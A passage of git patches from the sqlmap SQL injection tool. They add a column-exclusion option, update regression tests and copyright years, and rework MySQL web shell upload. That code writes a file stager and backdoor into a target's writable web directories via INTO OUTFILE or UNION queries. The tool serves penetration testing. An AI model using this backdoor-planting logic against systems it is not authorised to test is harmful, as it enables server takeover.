help="DBMS user to enumerate") diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index a58ba80c4..c02689ccf 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -263,6 +263,10 @@ class Enumeration(GenericEnumeration): infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index d51f21ac8..10de98918 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -181,6 +181,9 @@ class Enumeration(GenericEnumeration): else: colList = [] + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index df03dbf3c..9fe395098 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -399,10 +399,13 @@ class Databases: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() - colList = conf.col.split(",") + colList = conf.col.split(',') else: colList = [] + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index aa440a447..c3618a6b4 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -122,6 +122,17 @@ class Entries: columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + + if not colList: + warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + warnMsg += " (no usable column names)" + logger.warn(warnMsg) + continue + colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table @@ -420,7 +431,12 @@ class Entries: continue conf.tbl = table - conf.col = ",".join(column for column in filter(None, sorted(columns))) + colList = filter(None, sorted(columns)) + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + + conf.col = ",".join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 8ffcb99c5..c500b9613 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -349,7 +349,7 @@ class Search: elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: - regex = "|".join(conf.col.split(",")) + regex = '|'.join(conf.col.split(',')) conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS, regex)) message = "do you want to dump entries? [Y/n] " @@ -368,6 +368,10 @@ class Search: infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition diff --git a/sqlmap.conf b/sqlmap.conf index 049650ba1..df1a5c929 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -445,12 +445,15 @@ getComments = False # Back-end database management system database to enumerate. db = -# Back-end database management system database table to enumerate. +# Back-end database management system database table(s) to enumerate. tbl = -# Back-end database management system database table column to enumerate. +# Back-end database management system database table column(s) to enumerate. col = +# Back-end database management system database table column(s) to not enumerate. +excludeCol = + # Back-end database management system database user to enumerate. user = From dfa9076a70d06030c4caab08aada3cd0d9fb3f99 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 17:12:37 +0000 Subject: [PATCH 181/889] fixed and improved web shell upload in MySQL (it was actually broken since fc57b7565d9dd3b63468063ba5b6ddbd36f0dbcd) --- lib/core/common.py | 52 ++++----- lib/takeover/web.py | 254 +++++++++++++++++++++++--------------------- 2 files changed, 157 insertions(+), 149 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 81a60e601..fc0dc4e2d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -610,15 +610,15 @@ def paramToDict(place, parameters=None): return testableParameters -def getDocRoot(): - docRoot = None +def getManualDirectories(): + directories = None pagePath = directoryPath(conf.path) defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX]) if kb.absFilePaths: for absFilePath in kb.absFilePaths: - if docRoot: + if directories: break if directoryPath(absFilePath) == '/': @@ -636,41 +636,41 @@ def getDocRoot(): _ = "/%s/" % _ if _ in absFilePath: - docRoot = "%s%s" % (absFilePath.split(_)[0], _) + directories = "%s%s" % (absFilePath.split(_)[0], _) break if pagePath and pagePath in absFilePath: - docRoot = absFilePath.split(pagePath)[0] + directories = absFilePath.split(pagePath)[0] if windowsDriveLetter: - docRoot = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(docRoot)) + directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories)) - docRoot = normalizePath(docRoot) + directories = normalizePath(directories) - if docRoot: - infoMsg = "retrieved the web server document root: '%s'" % docRoot + if directories: + infoMsg = "retrieved the web server document root: '%s'" % directories logger.info(infoMsg) else: warnMsg = "unable to retrieve automatically the web server " warnMsg += "document root" logger.warn(warnMsg) - docRoot = [] + directories = [] - message = "what do you want to use for web server document root?\n" + message = "what do you want to use for writable directory?\n" message += "[1] common location(s) '%s' (default)\n" % ", ".join(root for root in defaultDocRoot) - message += "[2] custom location\n" + message += "[2] custom location(s)\n" message += "[3] custom directory list file\n" message += "[4] brute force search\n" choice = readInput(message, default="1").strip() if choice == "2": - message = "please provide the web server document root: " - docRoot = readInput(message, default="").split(',') + message = "please provide a comma separate list of absolute directory paths: " + directories = readInput(message, default="").split(',') elif choice == "3": message = "what's the list file location?\n" listPath = readInput(message, default="") checkFile(listPath) - docRoot = getFileItems(listPath) + directories = getFileItems(listPath) elif choice == "4": targets = set([conf.hostname]) _ = conf.hostname.split('.') @@ -691,31 +691,30 @@ def getDocRoot(): for target in targets: item = "%s/%s" % (prefix, suffix) item = item.replace(BRUTE_DOC_ROOT_TARGET_MARK, target).replace("//", '/').rstrip('/') - docRoot.append(item) + directories.append(item) if BRUTE_DOC_ROOT_TARGET_MARK not in prefix: break - infoMsg = "using common document root locations: %s" % ','.join(docRoot) + infoMsg = "using common directories: %s" % ','.join(directories) logger.info(infoMsg) - msg = "use additional custom " - msg += "document root locations [Enter for None]: " + msg = "use additional custom directories [Enter for None]: " answer = readInput(msg) if answer: - docRoot.extend(answer.split(',')) + directories.extend(answer.split(',')) else: - docRoot = defaultDocRoot + directories = defaultDocRoot - return docRoot + return directories -def getDirs(): +def getAutoDirectories(): directories = set("/") if kb.absFilePaths: - infoMsg = "retrieved web server full paths: " + infoMsg = "retrieved web server absolute paths: " infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths) logger.info(infoMsg) @@ -728,7 +727,8 @@ def getDirs(): warnMsg = "unable to retrieve automatically any web server path" logger.warn(warnMsg) - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/", conf.url) + webDir = extractRegexResult(r"//[^/]+?(?P/.*)/", conf.url) + if webDir: directories.add(webDir) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 6972b9d0e..eed5dd36b 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -17,8 +17,8 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import extractRegexResult -from lib.core.common import getDirs -from lib.core.common import getDocRoot +from lib.core.common import getAutoDirectories +from lib.core.common import getManualDirectories from lib.core.common import getPublicTypeMembers from lib.core.common import getSQLSnippet from lib.core.common import getUnicode @@ -194,8 +194,9 @@ class Web: self.webApi = choices[int(choice) - 1] break - kb.docRoot = arrayizeValue(getDocRoot()) - directories = sorted(getDirs()) + directories = list(arrayizeValue(getManualDirectories())) + directories.extend(getAutoDirectories()) + directories = sorted(set(directories)) backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi) backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi)) @@ -204,155 +205,162 @@ class Web: stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) success = False - for docRoot in kb.docRoot: + for directory in directories: if success: break - for directory in directories: - uriPath = "" + uploaded = False + directory = ntToPosixSlashes(normalizePath(directory)) - if not all(isinstance(_, basestring) for _ in (docRoot, directory)): - continue + if not isWindowsDriveLetterPath(directory) and directory[0] != '/': + directory = "/%s" % directory + else: + directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory - directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/') - docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/') + directory = posixpath.normpath(directory) - # '' or '/' -> 'docRoot' - if not directory: - localPath = docRoot - uriPath = '/' - # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3' - elif not isWindowsDriveLetterPath(directory) and directory[0] != '/': - localPath = "%s/%s" % (docRoot, directory) - uriPath = "/%s" % directory - else: - localPath = directory - uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory + # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via LIMIT INTO OUTFILE technique" + logger.info(infoMsg) + self._webFileInject(stagerContent, stagerName, directory) - if docRoot in uriPath: - uriPath = uriPath.replace(docRoot, "/") - uriPath = "/%s" % normalizePath(uriPath) - else: - webDir = extractRegexResult(r"//[^/]+?/(?P.*)/.", conf.url) + for x in list(re.finditer('/', directory)): + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) + self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + self.webStagerFilePath = posixpath.normpath(ntToPosixSlashes(os.path.join(directory, stagerName))) - if webDir: - uriPath = "/%s" % webDir - else: - continue - - localPath = posixpath.normpath(localPath).rstrip('/') - uriPath = posixpath.normpath(uriPath).rstrip('/') - - # Upload the file stager with the LIMIT 0, 1 INTO OUTFILE technique - infoMsg = "trying to upload the file stager on '%s' " % localPath - infoMsg += "via LIMIT INTO OUTFILE technique" - logger.info(infoMsg) - self._webFileInject(stagerContent, stagerName, localPath) - - self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath) - self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName) - self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/') + debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - # Fall-back to UNION queries file upload technique - if "sqlmap file uploader" not in uplPage: - warnMsg = "unable to upload the file stager " - warnMsg += "on '%s'" % localPath - singleTimeWarnMessage(warnMsg) + if "sqlmap file uploader" in uplPage: + uploaded = True - if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - infoMsg = "trying to upload the file stager on '%s' " % localPath - infoMsg += "via UNION technique" - logger.info(infoMsg) + # Fall-back to UNION queries file upload technique + if not uploaded: + warnMsg = "unable to upload the file stager " + warnMsg += "on '%s'" % directory + singleTimeWarnMessage(warnMsg) - handle, filename = mkstemp() - os.fdopen(handle).close() # close low level handle (causing problems later) + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): + infoMsg = "trying to upload the file stager on '%s' " % directory + infoMsg += "via UNION technique" + logger.info(infoMsg) - with open(filename, "w+") as f: - _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) - _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath) - f.write(utf8encode(_)) + handle, filename = mkstemp() + os.fdopen(handle).close() # close low level handle (causing problems later) - self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + with open(filename, "w+") as f: + _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi)) + _ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory) + f.write(utf8encode(_)) + + self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True) + + uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) + uplPage = uplPage or "" + + for x in list(re.finditer('/', directory)): + self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, directory[x.start():]) + self.webStagerUrl = os.path.join(self.webBaseUrl, stagerName) + self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (directory, stagerName))).replace("//", "/").rstrip('/') + + debugMsg = "trying to see if the file is accessible from %s" % self.webStagerUrl + logger.debug(debugMsg) uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False) uplPage = uplPage or "" - if "sqlmap file uploader" not in uplPage: - continue - else: - continue - - if "<%" in uplPage or " Date: Mon, 13 Jan 2014 17:12:59 +0000 Subject: [PATCH 182/889] updated test cases for regression test --- xml/livetests.xml | 52 +++++++++++++++++++++++------------------------ 1 file changed, 25 insertions(+), 27 deletions(-) diff --git a/xml/livetests.xml b/xml/livetests.xml index 1f58b627d..c91bb04f5 100644 --- a/xml/livetests.xml +++ b/xml/livetests.xml @@ -288,13 +288,13 @@ - + - + @@ -330,14 +330,14 @@ - + - + @@ -373,14 +373,14 @@ - + - + @@ -416,14 +416,14 @@ - + - + @@ -487,14 +487,14 @@ - + - + @@ -905,7 +905,7 @@ - + @@ -938,7 +938,7 @@ - + @@ -970,7 +970,7 @@ - + @@ -988,7 +988,7 @@ - + @@ -1049,7 +1049,7 @@ - + @@ -1088,7 +1088,7 @@ - + @@ -1127,7 +1127,7 @@ - + @@ -1166,7 +1166,7 @@ - + @@ -1191,7 +1191,7 @@ - + @@ -1221,7 +1221,7 @@ - + @@ -1296,7 +1296,7 @@ - + @@ -1314,7 +1314,7 @@ - + @@ -1331,7 +1331,7 @@ - + @@ -3216,13 +3216,12 @@ - From d546fc5ad5cb0b60716ba2c63b9a1b49515e9dc9 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 17:24:09 +0000 Subject: [PATCH 183/889] slight update to regression test regexp --- extra/shutils/regressiontest.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) mode change 100644 => 100755 extra/shutils/regressiontest.py diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py old mode 100644 new mode 100755 index f7ece79fe..5acc7352f --- a/extra/shutils/regressiontest.py +++ b/extra/shutils/regressiontest.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission import codecs @@ -77,13 +77,13 @@ def main(): if stderr: failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) - regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) + regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test --run-case 'MySQL UNION query multi-threaded enumeration'", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) stdout, stderr = regressionproc.communicate() if stderr: failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing item \"(.+)\" )?\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) + failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) for failed_test in failed_tests: title = failed_test[0] From 43a4e857497492d37aaef7df527b68b1f3abf8f1 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Mon, 13 Jan 2014 17:24:49 +0000 Subject: [PATCH 184/889] updated copyright --- extra/__init__.py | 2 +- extra/beep/__init__.py | 2 +- extra/beep/beep.py | 2 +- extra/cloak/__init__.py | 2 +- extra/cloak/cloak.py | 2 +- extra/dbgtool/__init__.py | 2 +- extra/dbgtool/dbgtool.py | 2 +- extra/mssqlsig/update.py | 2 +- extra/safe2bin/__init__.py | 2 +- extra/safe2bin/safe2bin.py | 2 +- extra/shutils/duplicates.py | 2 +- extra/sqlharvest/__init__.py | 2 +- extra/sqlharvest/sqlharvest.py | 2 +- lib/__init__.py | 2 +- lib/controller/__init__.py | 2 +- lib/controller/action.py | 2 +- lib/controller/checks.py | 2 +- lib/controller/controller.py | 2 +- lib/controller/handler.py | 2 +- lib/core/__init__.py | 2 +- lib/core/agent.py | 2 +- lib/core/bigarray.py | 2 +- lib/core/convert.py | 2 +- lib/core/data.py | 2 +- lib/core/datatype.py | 2 +- lib/core/decorators.py | 2 +- lib/core/defaults.py | 2 +- lib/core/dicts.py | 2 +- lib/core/dump.py | 2 +- lib/core/enums.py | 2 +- lib/core/exception.py | 2 +- lib/core/log.py | 2 +- lib/core/option.py | 2 +- lib/core/optiondict.py | 2 +- lib/core/profiling.py | 2 +- lib/core/purge.py | 2 +- lib/core/readlineng.py | 2 +- lib/core/replication.py | 2 +- lib/core/revision.py | 2 +- lib/core/session.py | 2 +- lib/core/settings.py | 2 +- lib/core/shell.py | 2 +- lib/core/subprocessng.py | 2 +- lib/core/target.py | 2 +- lib/core/testing.py | 64 +++++++++++-------------- lib/core/threads.py | 2 +- lib/core/unescaper.py | 2 +- lib/core/update.py | 2 +- lib/core/wordlist.py | 2 +- lib/parse/__init__.py | 2 +- lib/parse/banner.py | 2 +- lib/parse/cmdline.py | 2 +- lib/parse/configfile.py | 2 +- lib/parse/handler.py | 2 +- lib/parse/headers.py | 2 +- lib/parse/html.py | 2 +- lib/parse/payloads.py | 2 +- lib/request/__init__.py | 2 +- lib/request/basic.py | 2 +- lib/request/basicauthhandler.py | 2 +- lib/request/comparison.py | 2 +- lib/request/connect.py | 2 +- lib/request/direct.py | 2 +- lib/request/dns.py | 2 +- lib/request/httpshandler.py | 2 +- lib/request/inject.py | 2 +- lib/request/methodrequest.py | 2 +- lib/request/pkihandler.py | 2 +- lib/request/rangehandler.py | 2 +- lib/request/redirecthandler.py | 2 +- lib/request/templates.py | 2 +- lib/takeover/__init__.py | 2 +- lib/takeover/abstraction.py | 2 +- lib/takeover/icmpsh.py | 2 +- lib/takeover/metasploit.py | 2 +- lib/takeover/registry.py | 2 +- lib/takeover/udf.py | 2 +- lib/takeover/xp_cmdshell.py | 2 +- lib/techniques/__init__.py | 2 +- lib/techniques/blind/__init__.py | 2 +- lib/techniques/blind/inference.py | 2 +- lib/techniques/brute/__init__.py | 2 +- lib/techniques/brute/use.py | 2 +- lib/techniques/dns/__init__.py | 2 +- lib/techniques/dns/test.py | 2 +- lib/techniques/dns/use.py | 2 +- lib/techniques/error/__init__.py | 2 +- lib/techniques/error/use.py | 2 +- lib/techniques/union/__init__.py | 2 +- lib/techniques/union/test.py | 2 +- lib/techniques/union/use.py | 2 +- lib/utils/__init__.py | 2 +- lib/utils/api.py | 2 +- lib/utils/crawler.py | 2 +- lib/utils/deps.py | 2 +- lib/utils/getch.py | 2 +- lib/utils/google.py | 2 +- lib/utils/hash.py | 2 +- lib/utils/hashdb.py | 2 +- lib/utils/htmlentities.py | 2 +- lib/utils/pivotdumptable.py | 2 +- lib/utils/progress.py | 2 +- lib/utils/sqlalchemy.py | 2 +- lib/utils/timeout.py | 2 +- lib/utils/versioncheck.py | 2 +- lib/utils/xrange.py | 2 +- plugins/__init__.py | 2 +- plugins/dbms/__init__.py | 2 +- plugins/dbms/access/__init__.py | 2 +- plugins/dbms/access/connector.py | 2 +- plugins/dbms/access/enumeration.py | 2 +- plugins/dbms/access/filesystem.py | 2 +- plugins/dbms/access/fingerprint.py | 2 +- plugins/dbms/access/syntax.py | 2 +- plugins/dbms/access/takeover.py | 2 +- plugins/dbms/db2/__init__.py | 2 +- plugins/dbms/db2/connector.py | 2 +- plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/db2/filesystem.py | 2 +- plugins/dbms/db2/fingerprint.py | 2 +- plugins/dbms/db2/syntax.py | 2 +- plugins/dbms/db2/takeover.py | 2 +- plugins/dbms/firebird/__init__.py | 2 +- plugins/dbms/firebird/connector.py | 2 +- plugins/dbms/firebird/enumeration.py | 2 +- plugins/dbms/firebird/filesystem.py | 2 +- plugins/dbms/firebird/fingerprint.py | 2 +- plugins/dbms/firebird/syntax.py | 2 +- plugins/dbms/firebird/takeover.py | 2 +- plugins/dbms/hsqldb/__init__.py | 2 +- plugins/dbms/hsqldb/connector.py | 2 +- plugins/dbms/hsqldb/enumeration.py | 2 +- plugins/dbms/hsqldb/filesystem.py | 2 +- plugins/dbms/hsqldb/fingerprint.py | 2 +- plugins/dbms/hsqldb/syntax.py | 2 +- plugins/dbms/hsqldb/takeover.py | 2 +- plugins/dbms/maxdb/__init__.py | 2 +- plugins/dbms/maxdb/connector.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/maxdb/filesystem.py | 2 +- plugins/dbms/maxdb/fingerprint.py | 2 +- plugins/dbms/maxdb/syntax.py | 2 +- plugins/dbms/maxdb/takeover.py | 2 +- plugins/dbms/mssqlserver/__init__.py | 2 +- plugins/dbms/mssqlserver/connector.py | 2 +- plugins/dbms/mssqlserver/enumeration.py | 2 +- plugins/dbms/mssqlserver/filesystem.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 2 +- plugins/dbms/mssqlserver/syntax.py | 2 +- plugins/dbms/mssqlserver/takeover.py | 2 +- plugins/dbms/mysql/__init__.py | 2 +- plugins/dbms/mysql/connector.py | 2 +- plugins/dbms/mysql/enumeration.py | 2 +- plugins/dbms/mysql/filesystem.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- plugins/dbms/mysql/takeover.py | 2 +- plugins/dbms/oracle/__init__.py | 2 +- plugins/dbms/oracle/connector.py | 2 +- plugins/dbms/oracle/enumeration.py | 2 +- plugins/dbms/oracle/filesystem.py | 2 +- plugins/dbms/oracle/fingerprint.py | 2 +- plugins/dbms/oracle/syntax.py | 2 +- plugins/dbms/oracle/takeover.py | 2 +- plugins/dbms/postgresql/__init__.py | 2 +- plugins/dbms/postgresql/connector.py | 2 +- plugins/dbms/postgresql/enumeration.py | 2 +- plugins/dbms/postgresql/filesystem.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 +- plugins/dbms/postgresql/syntax.py | 2 +- plugins/dbms/postgresql/takeover.py | 6 ++- plugins/dbms/sqlite/__init__.py | 2 +- plugins/dbms/sqlite/connector.py | 2 +- plugins/dbms/sqlite/enumeration.py | 2 +- plugins/dbms/sqlite/filesystem.py | 2 +- plugins/dbms/sqlite/fingerprint.py | 2 +- plugins/dbms/sqlite/syntax.py | 2 +- plugins/dbms/sqlite/takeover.py | 2 +- plugins/dbms/sybase/__init__.py | 2 +- plugins/dbms/sybase/connector.py | 2 +- plugins/dbms/sybase/enumeration.py | 2 +- plugins/dbms/sybase/filesystem.py | 2 +- plugins/dbms/sybase/fingerprint.py | 2 +- plugins/dbms/sybase/syntax.py | 2 +- plugins/dbms/sybase/takeover.py | 2 +- plugins/generic/__init__.py | 2 +- plugins/generic/connector.py | 2 +- plugins/generic/custom.py | 2 +- plugins/generic/databases.py | 2 +- plugins/generic/entries.py | 2 +- plugins/generic/enumeration.py | 2 +- plugins/generic/filesystem.py | 4 +- plugins/generic/fingerprint.py | 2 +- plugins/generic/misc.py | 2 +- plugins/generic/search.py | 2 +- plugins/generic/syntax.py | 2 +- plugins/generic/takeover.py | 2 +- plugins/generic/users.py | 2 +- sqlmap.py | 2 +- sqlmapapi.py | 2 +- tamper/__init__.py | 2 +- tamper/apostrophemask.py | 2 +- tamper/apostrophenullencode.py | 2 +- tamper/appendnullbyte.py | 2 +- tamper/base64encode.py | 2 +- tamper/between.py | 2 +- tamper/bluecoat.py | 2 +- tamper/chardoubleencode.py | 2 +- tamper/charencode.py | 2 +- tamper/charunicodeencode.py | 2 +- tamper/concat2concatws.py | 2 +- tamper/equaltolike.py | 2 +- tamper/greatest.py | 2 +- tamper/halfversionedmorekeywords.py | 2 +- tamper/ifnull2ifisnull.py | 2 +- tamper/modsecurityversioned.py | 2 +- tamper/modsecurityzeroversioned.py | 2 +- tamper/multiplespaces.py | 2 +- tamper/nonrecursivereplacement.py | 2 +- tamper/percentage.py | 2 +- tamper/randomcase.py | 2 +- tamper/randomcomments.py | 2 +- tamper/securesphere.py | 2 +- tamper/sp_password.py | 2 +- tamper/space2comment.py | 2 +- tamper/space2dash.py | 2 +- tamper/space2hash.py | 2 +- tamper/space2morehash.py | 2 +- tamper/space2mssqlblank.py | 2 +- tamper/space2mssqlhash.py | 2 +- tamper/space2mysqlblank.py | 2 +- tamper/space2mysqldash.py | 2 +- tamper/space2plus.py | 2 +- tamper/space2randomblank.py | 2 +- tamper/unionalltounion.py | 2 +- tamper/unmagicquotes.py | 2 +- tamper/versionedkeywords.py | 2 +- tamper/versionedmorekeywords.py | 2 +- thirdparty/bottle/__init__.py | 2 +- waf/__init__.py | 2 +- waf/airlock.py | 2 +- waf/barracuda.py | 2 +- waf/bigip.py | 2 +- waf/binarysec.py | 2 +- waf/ciscoacexml.py | 2 +- waf/cloudflare.py | 2 +- waf/datapower.py | 2 +- waf/denyall.py | 2 +- waf/dotdefender.py | 2 +- waf/fortiweb.py | 2 +- waf/hyperguard.py | 2 +- waf/incapsula.py | 2 +- waf/isaserver.py | 2 +- waf/jiasule.py | 2 +- waf/knownsec.py | 2 +- waf/kona.py | 2 +- waf/modsecurity.py | 2 +- waf/netcontinuum.py | 2 +- waf/netscaler.py | 2 +- waf/paloalto.py | 2 +- waf/profense.py | 2 +- waf/proventia.py | 2 +- waf/radware.py | 2 +- waf/secureiis.py | 2 +- waf/teros.py | 2 +- waf/trafficshield.py | 2 +- waf/uspses.py | 2 +- waf/varnish.py | 2 +- waf/webappsecure.py | 2 +- waf/webknight.py | 2 +- xml/livetests.xml | 8 ++-- 271 files changed, 304 insertions(+), 312 deletions(-) diff --git a/extra/__init__.py b/extra/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 7315e2bf8..49c4deafa 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,7 +3,7 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 508a77bb9..cddc5555a 100755 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 9e1072a9c..5bad2814c 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2014 sqlmap developers 